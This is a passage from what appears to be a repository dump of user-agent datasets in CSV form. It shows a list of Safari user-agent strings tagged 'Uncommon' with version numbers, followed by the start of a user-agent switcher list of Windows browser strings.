(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Safari/522.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) fancybrowser Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/9.3 Mobile/9B176 Safari/7534.48.3\",9.3,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) pythonw Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/538.1 (KHTML, like Gecko) demobrowser/0.1 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Safari/522.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8\",10.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\",5,Uncommon\n\"Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0\",1.0,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7.0.4 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) 1Password/4.3.2 (like Version/11B554a Mobile/7.0.4 Safari/8536.25)\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53 MxBrowser/4.3.5.2000\",7,Uncommon\n\"Mozilla/5.0 (Microsoft Windows NT 6.1.7600.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Version/5.0.4 Safari/537.36\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Coast/2.0.3.70182 Mobile/11B554a Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version 6.0.2 Safari/534.59.10\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9.3.2 like Mac OS X; en_US) AppleWebKit/1 (KHTML, like Gecko) Mobile/1 Safari/1 iPhone/1 EtsyInc/4.39 rv:43900.60.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) adbeat.com/policy AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8\",10.1,Uncommon\n\"Mozilla/5.0 (Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; haw-US) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\",3.1,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5 companydatatrees\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.1 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.2 (KHTML, like Gecko) Version/11.1 Safari/605.1.2\",11.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko)  Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_2 like Mac OS X) AppleWebKit/604.1.38.0.7 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/7.1.3 Safari/537.85.12\",7.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.12\",10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3\",5.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/531.1 (KHTML, like Gecko) FlyFlow/3.1 Version/5.0 Safari/531.1\",5,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_3 like Mac OS X; es-es) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7E18 Safari/528.16\",4,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) janusvr Safari/538.1\",,Uncommon\n\"MMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",7,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B118 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_1 like Mac OS X) AppleWebKit/602.2.8 (KHTML, like Gecko) Version/10.0 Mobile/14B55c Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E5277a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; PowerPC AmigaOS4; Odyssey Web Browser; rv:1.16) AppleWebKit/535.14 (KHTML, like Gecko) OWB/1.16 Safari/535.14\",,Uncommon\n\"Phone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Microsoft Windows NT 6.1.7601 Service Pack 1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Version/ 5.0.2Safari/ 5.0.2\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12 (KHTML, like Gecko) Version/3.0.4 Safari/523.12\",3,Uncommon\n\"Mozilla / 5.0(Macintosh; U; PPC Mac OS X; de - de) AppleWebKit / 412(KHTML, like Gecko) Safari / 412\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit/602.3.3 (KHTML, like Gecko) Version/10.0 Mobile/14C5062e Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/534.34 (KHTML, like Gecko) pythonw Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; cs-cz) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/10.3.2 Safari/601.3.9\",10.3,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) WebClip/9537.85.15.2 Safari/9537.85.15.3\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/7.1.8 Safari/537.85.17\",7.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/538.1 (KHTML, like Gecko) ugraf Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/0600.3.18 (KHTML, like Gecko) FluidApp Version/1955 Safari/0600.3.18\",,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0_1 like Mac OS X) AppleWebKit/604.2.10 (KHTML, like Gecko) Version/11.0 Mobile/15A8401 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.1.2 Safari/601.3.9\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU iPhone OS 9.3.1 like Mac OS X; en_US) AppleWebKit/1 (KHTML, like Gecko) Mobile/1 Safari/1 iPhone/1 SellOnEtsy/2.33 rv:23300.43.0\",,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/11.0 Safari/526.8\",11,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_15) AppleWebKit/537.86.6 (KHTML, like Gecko) Version/9.1.1 Safari/537.86.6\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.2 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",7,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) WebOZ Browser Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU OS 6_1_4 like Mac OS X) AppleWebKit/536.26 (KHTML, Like Gecko) Version/10.1 Mobile/11A465 Safari/8536.25\",10.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B5130b Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/604.1.6 (KHTML, like Gecko) Version/10.2 Safari/604.1.6\",10.2,Uncommon\n\"Mozilla/5.0 (Amiga; PowerPC AmigaOS 4.1; Odyssey Web Browser; rv:1.23) AppleWebKit/538.1 (KHTML, like Gecko) OWB/1.23 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.1.1 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/5.1 Mobile/12H321 Safari/7600.1.4\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; U CPU iPhone OS 5_1_1 like Mac OS X; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) iPhone/7.4.1.8 Mobile Safari/535.1 3gpp-gba\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.37 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.4\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9\",8,Uncommon\n\"Mozilla/5.0 (iPad; CPU iPhone OS 9.3 like Mac OS X; en_US) AppleWebKit/1 (KHTML, like Gecko) Mobile/1 Safari/1 iPhone/1 SellOnEtsy/2.31 rv:23100.39.0\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; es-es) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J3 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.32 (KHTML, like Gecko) Version/10.0 Safari/602.1.32\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B511 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_1 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; th-th) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13\",3.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 9_3_5 like Mac OS X; en-gb) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0 Safari/600.1.25\",8,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1C25 Safari/419.3\",3,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.2 (KHTML, like Gecko) Version/10.0 Mobile/14F5075a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8_0; nl-nl) AppleWebKit/601.4.4 (KHTML, like Gecko) Fluid/1.7.1 Safari/532.3+\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/10.0.1 Safari/7046A194A\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.10 (KHTML, like Gecko) Version/10.0 Mobile/15A230 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3\",5.1,Uncommon\n\"Macintosh; U; Intel Mac OS X; es-mx AppleWebKit/537+ (KHTML, like Gecko) Version/5.0 Safari/537.6\",5,Uncommon\n\"Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en - us) AppleWebKit / 531.21.10(KHTML, like Gecko) Version / 4.0.4 Mobile / 7B314 Safari/ 531.21.10\",,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PokerClient Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Coast/2.0.2.69230 Mobile/11B511 Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9.1\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/15.0 Mobile/14D27 Safari/602.1\",15,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.1.1 Safari/601.4.4\",9.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1 ; en-us; ThinkPad Tablet Build/ThinkPadTablet_A310_02) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.1.1 Safari/601.4.4\",9.1,Uncommon\nMozilla/5.0 (iPod; U; CPU iPhone OS 221 like Mac OS X; zh-TW) AppleWebKit/525.18.1 (KHTML like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20,3.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C5060d Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; nl-nl) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n"
  },
  {
    "path": "User Agents/csv/techpatterns_com_useragentswitcher.csv",
    "content": "kind,description,ua\nBrowsers - Windows,Arora 0.6.0 - (Vista),\"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )\"\nBrowsers - Windows,Avant Browser 1.2,Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)\nBrowsers - Windows,Chrome 4.0 (Win 7),\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5\"\nBrowsers - Windows,Chrome 5.0 (Server 2003),\"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9\"\nBrowsers - Windows,Chrome 7.0 (Win XP),\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7\"\nBrowsers - Windows,Chrome 9.0 (Vista),\"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\"\nBrowsers - Windows,Chrome 10.0 (Win 7),\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14\"\nBrowsers - Windows,Chrome 12.0 (Win 7 64),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27\"\nBrowsers - Windows,Chrome 15.0 (Vista),\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2\"\nBrowsers - Windows,Chrome 16.0 (Win 7 64),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\"\nBrowsers - Windows,Chrome 18.6 (Win 7),\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0\"\nBrowsers - Windows,Chrome 19.0 (Win 8 - NT 6.2),\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\"\nBrowsers - Windows,Chrome 20.0 (Win 7),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6\"\nBrowsers - Windows,Chrome 20.0 (Win 8),\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6\"\nBrowsers - Windows,Chrome 22.0 (Win 7 - 64 bit),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\"\nBrowsers - Windows,Firefox 3.0.2pre (Win XP 64),Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre\nBrowsers - Windows,Firefox 3.0.10 (Win XP),Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nBrowsers - Windows,Firefox 3.0.11 (Vista)   .NET,Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nBrowsers - Windows,Firefox 3.5.6 (Vista),Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5\nBrowsers - Windows,Firefox 3.6.8 (XP),Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\nBrowsers - Windows,Firefox 4.01 (Win 7 32),Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nBrowsers - Windows,Firefox 4.01 (Win 7 64),Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nBrowsers - Windows,Firefox 5.0 (XP),Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0\nBrowsers - Windows,Firefox 6.0a2 (Win 7 64),Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2\nBrowsers - Windows,Firefox 7.0.1 (Win 7 64),Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1\nBrowsers - Windows,Firefox 10.0.1 (Win 7 64),Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nBrowsers - Windows,Firefox 12.0 (Win 7 32),Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0\nBrowsers - Windows,Firefox 14.0.1 (Win Vista),Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1\nBrowsers - Windows,Firefox 15.0a1 (Win 7 64),Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1\nBrowsers - Windows,Firefox 16.0 (Win 8 64),Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0\nBrowsers - Windows,Firefox 19.0 (Win 8 32),Mozilla/5.0 (Windows NT 6.2; rv:19.0) Gecko/20121129 Firefox/19.0\nBrowsers - Windows,Firefox 20.0 (Win 8 32),Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0\nBrowsers - Windows,Maxthon 2.0 (Trident/MSIE) (Win  7),Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Maxthon 2.0)\nBrowsers - Windows,Minefield (Firefox nightly) 4.0b4pre (Win 7),Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre\nBrowsers - Windows,MSIE 5.5 (Win 2000),Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )\nBrowsers - Windows,MSIE 5.5 (Win ME),Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)\nBrowsers - Windows,Multizilla 1.6 (Win XP),Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a\nBrowsers - Windows,Netscape 2.02 (Win 95),Mozilla/2.02E (Win95; U)\nBrowsers - Windows,Netscape 3.01 gold (Win 95),Mozilla/3.01Gold (Win95; I)\nBrowsers - Windows,Netscape 4.8 (Win XP),Mozilla/4.8 [en] (Windows NT 5.1; U)\nBrowsers - Windows,Netscape 7.1 (Win 98),Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)\nBrowsers - Windows,Opera 7.5 (Win XP),Opera/7.50 (Windows XP; U)\nBrowsers - Windows,Opera 7.5 (Win ME),Opera/7.50 (Windows ME; U) [en]\nBrowsers - Windows,Opera 7.51 (Win XP),Opera/7.51 (Windows NT 5.1; U) [en]\nBrowsers - Windows,Opera 8.0 (Win 2000),Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0\nBrowsers - Windows,Opera 9.25 - (Vista),Opera/9.25 (Windows NT 6.0; U; en)\nBrowsers - Windows,Opera 10.10 (id as 9.8) (Server 2003),Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10\nBrowsers - Windows,Opera 11.10 (id as 9.8) (Win XP),Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10\nBrowsers - Windows,Opera 11.01 (id as 9.8) (Win 7),Opera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01\nBrowsers - Windows,Opera 12.00 (id as 9.8) (Win 7),Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00\nBrowsers - Windows,Opera 12.14 (id as 9.8) (Win Vista),Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14\nBrowsers - Windows,Phoenix 0.2 (NT 4.0),Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2\nBrowsers - Windows,Safari 531.21 (Win XP),\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\"\nBrowsers - Windows,SeaMonkey 1.1.18 (Win XP),Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18\nBrowsers - Windows,SeaMonkey (Mozilla) 2.0 (Win 7),Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12\nBrowsers - Windows,SeaMonkey (Mozilla) 2.7.1 (NT 5.2),Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nBrowsers - Windows,Arora 0.8.0 - (Windows),\"Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) 